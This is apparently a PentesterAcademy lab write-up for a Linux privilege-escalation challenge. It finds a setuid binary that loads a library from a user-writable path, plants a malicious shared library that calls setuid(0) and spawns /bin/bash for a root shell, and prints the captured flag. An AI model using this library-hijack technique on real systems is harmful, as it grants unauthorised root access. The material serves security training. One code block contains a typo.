
ATTACK
DEFENSE
by PentesterAcademy

Name	Library Chaos
URL	https://www.attackdefense.com/challengedetails?cid=90
Type	Privilege Escalation : Linux

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: Start by searching for programs for which setuid bit is set.

Command: find / -type f -perm -04000 -ls 2>/dev/null

```
student@attackdefense:~$ find / -type f -perm -04000 -ls 2>/dev/null
  1411057     76 -rwsr-xr-x   1 root     root        76496 Jan 25  2018 /usr/bin/chfn
  1411105     76 -rwsr-xr-x   1 root     root        75824 Jan 25  2018 /usr/bin/gpasswd
  1411158     60 -rwsr-xr-x   1 root     root        59640 Jan 25  2018 /usr/bin/passwd
  1411148     40 -rwsr-xr-x   1 root     root        40344 Jan 25  2018 /usr/bin/newgrp
  1411059     44 -rwsr-xr-x   1 root     root        44528 Jan 25  2018 /usr/bin/chsh
 20229898     12 -rwsr-xr-x   1 root     root         8280 Sep 26 14:09 /usr/bin/welcome
  1410507     44 -rwsr-xr-x   1 root     root        43088 May 16 10:41 /bin/mount
  1410530     28 -rwsr-xr-x   1 root     root        26696 May 16 10:41 /bin/umount
  1410524     44 -rwsr-xr-x   1 root     root        44664 Jan 25  2018 /bin/su
student@attackdefense:~$
```

Step 2: Observe that in addition to default programs, the setuid is set for welcome binary too. Execute welcome binary to check it out.

Command: welcome

```
student@attackdefense:~$ welcome
welcome: error while loading shared libraries: libwelcome.so: cannot open shared object file: No such file or directory
student@attackdefense:~$
```

Step 3: The welcome binary needs libwelcome.so shared library for proper execution but it is not able to locate it. To get more information on this, we can check /etc/ls.so.conf.d directory.

For desired location of shared libraries, one can look in custom.conf file.

Commands:
cd /etc/ld.so.conf.d
ls -l
cat custom.conf

```
student@attackdefense:~$ cd /etc/ld.so.conf.d/
student@attackdefense:/etc/ld.so.conf.d$ ls -l
total 12
-rw-r--r-- 1 root root  18 Sep 26 14:09 custom.conf
-rw-r--r-- 1 root root  44 Jan 27  2016 libc.conf
-rw-r--r-- 1 root root 100 Apr 16  2018 x86_64-linux-gnu.conf
student@attackdefense:/etc/ld.so.conf.d$
student@attackdefense:/etc/ld.so.conf.d$
student@attackdefense:/etc/ld.so.conf.d$ cat custom.conf
/home/student/lib
student@attackdefense:/etc/ld.so.conf.d$
```

Step 4: The /home/student/lib directory doesn't exist. So, create this directory.

Commands:
cd /home/student/lib
cd /home/student/
mkdir lib
cd lib/

```
student@attackdefense:/etc/ld.so.conf.d$ cd /home/student/lib
bash: cd: /home/student/lib: No such file or directory
student@attackdefense:/etc/ld.so.conf.d$ cd /home/student/
student@attackdefense:~$ mkdir lib
student@attackdefense:~$ cd lib/
```

Step 5: Write a simple C program with the following code:

```
#include<stdio.h>

Inte test(){
        printf(" Test ");
```

}

```
student@attackdefense:~/lib$ cat libwelcome.c
#include<stdio.h>

int test(){
        printf(" Test ");
}
```

Step 6: Compile this file into a shared library.

Command: gcc -shared -o libwelcome.so -fPIC libwelcome.c

Execute the welcome binary and observe that the error has changed.

Command: welcome

Previously, the binary was not able to locate the shared library file. But, now it can access the file. However, it is still not able to access the symbol welcome.

```
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
student@attackdefense:~/lib$ ls -l
total 12
-rw-r--r-- 1 student student   52 Nov  9 13:35 libwelcome.c
-rwxr-xr-x 1 student student 7896 Nov  9 13:35 libwelcome.so
student@attackdefense:~/lib$
student@attackdefense:~/lib$
student@attackdefense:~/lib$ welcome
welcome: symbol lookup error: welcome: undefined symbol: welcome
student@attackdefense:~/lib$
```

Step 7: Modify the file to add a welcome() function to it. The modified code will be:

```
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
```

```
        system("/bin/bash");
}
```

Step 8: This function will launch an elevated bash session. Compile the shared library again and execute the welcome binary.

Commands:
cat libwelcome.c
gcc -shared -o libwelcome.so -fPIC libwelcome.c
welcome

```
student@attackdefense:~/lib$ cat libwelcome.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int welcome(){
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
student@attackdefense:~/lib$
student@attackdefense:~/lib$
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
student@attackdefense:~/lib$
student@attackdefense:~/lib$ welcome
root@attackdefense:~/lib#
```

Step 9: After escalating to the root user, retrieve the flag from /root directory.

Commands:
cd /root/
ls -l
cat flag

```
root@attackdefense:~/lib# cd /root/
root@attackdefense:/root# ls -l
total 4
-rw-r--r-- 1 root root 33 Nov  2 15:08 flag
root@attackdefense:/root# cat flag
5b8dc7e64c56a312bedc5257e323c2fc
root@attackdefense:/root#
```

Flag: 5b8dc7e64c56a312bedc5257e323c2fc